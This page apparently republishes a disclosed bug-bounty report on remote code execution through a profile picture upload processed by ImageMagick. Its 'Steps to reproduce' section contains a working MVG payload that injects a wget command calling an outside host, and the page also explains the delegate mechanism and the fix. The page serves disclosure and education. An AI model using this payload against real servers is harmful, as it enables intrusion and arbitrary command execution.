Skip to content
RCE Disclosed report Intermediate

RCE in profile picture upload

The profile picture upload endpoint passed uploaded files to ImageMagick without verifying they were actual images. An attacker could upload a crafted ASCII file that ImageMagick interpreted as MVG, triggering a command injection vulnerability in the https delegate handler and executing arbitrary commands on the server.

c666a323be94d57 Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 28 days
  • Paid in 28 days
  • Disclosed after 42 days

Issue

The profile picture upload at /settings/profile/edit is vulnerable to remote code execution due to the uploaded file being passed to ImageMagick without checking whether it's an actual image. Combined with the fact that ImageMagick parses ASCII text as so called MVG (Magic Vector Graphics), this enables an attacker to trigger a newly discovered vulnerability in MVG parsing which allows for command injection.

Steps to reproduce

Upload the following ASCII file as x.gif using the regular profile picture upload flow:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`wget -O- 1.2.3.4:1337 > /dev/null`'
pop graphic-context

This executes the wget command and makes an HTTP request to 1.2.3.4 on port 1337.

Technical details

The "image" directive in MVG allows for the usage of so called "delegates" which are somewhat similar to a protocol specifier in a URL: a colon-seperated (delegate,argument)-pair like e.g. "label:SomeText" can be specified, invoking the respective delegate handler. Custom delegates can be added as a bash-call with substitute variables in /etc/ImageMagick/delegates.xml. The handler for https-URLs uses a bash command to invoke curl which suffers from the command injection vulnerability.

Recommendation

A simple fix is to check the magic values of the uploaded files and whitelist those, i.e. to only allow JPEG, GIF and PNG uploads before passing the file to ImageMagick (e.g. the convert utility). Also, servers that do image processing should not be able to establish outbound network connections. This vulnerability will be reported to ImageMagick within the next 72 hours as a detailed advisory about this and several other MVG issues is currently being drafted.

The original report as published on HackerOne, by c666a323be94d57. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The application did not validate the file type before passing it to ImageMagick, and ImageMagick's MVG parser allowed command injection through its https delegate handler.

Impact

An attacker could execute arbitrary commands on the server via the crafted upload.

What the attacker needed

Ability to upload a profile picture

The fix

The upload should check the magic values of uploaded files and whitelist only JPEG, GIF and PNG before passing them to ImageMagick; servers doing image processing should also not be able to make outbound network connections.

How it was found

  1. Upload an ASCII file named x.gif using the regular profile picture upload flow.
  2. The file contains MVG directives that include an image over directive with a URL containing a command substitution.
  3. ImageMagick processes the file and the https delegate executes the embedded command, making an HTTP request to the attacker's server.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you upload a profile picture, the server uses a tool called ImageMagick to process the image. The server did not check that the uploaded file was really an image, so an attacker could upload a text file that ImageMagick treated as a special image format. That format allowed the attacker to run commands on the server, which is very dangerous.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.